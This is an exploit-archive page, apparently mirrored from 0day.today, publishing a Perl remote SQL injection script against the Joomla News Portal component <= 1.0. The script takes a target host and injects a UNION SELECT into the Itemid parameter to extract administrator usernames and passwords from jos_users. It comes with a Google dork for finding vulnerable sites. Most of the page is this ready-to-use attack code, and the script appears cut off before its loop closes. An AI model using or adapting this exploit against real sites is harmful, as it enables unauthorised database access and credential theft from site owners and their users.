Search...

iJoomla News Portal (Itemid) Remote SQL Injection Exploit

2008-06-09T00:00:00
ID 1337DAY-ID-3134
Type zdt
Reporter ilker Kandemir
Modified 2008-06-09T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =========================================================
iJoomla News Portal (Itemid) Remote SQL Injection Exploit
=========================================================



#!/usr/bin/perl
#[[Script Name: Joomla Component News Portal <= 1.0 Blind SQL Injection Exploit
#[[Coded by   : MEFISTO
#[[Author     : ilker Kandemir
#[[Dork       : "index.php?option=com_news_portal" or "Powered by iJoomla News Portal"

use IO::Socket;
if(@ARGV < 1){
print "
[[========================================================================
[[//   Joomla Component News Portal <= 1.0 Blind SQL Injection Exploit
[[//                   Usage: cnp.pl [target]
[[//                   Example: cnp.pl victim.com
[[//                   Vuln&Exp : iLker Kandemir a.k.a MEFISTO
[[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?option=com_news_portal&Itemid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%20111,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),333%20from%20jos_users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)border/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit();
}




#  0day.today [2018-01-09]  #
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by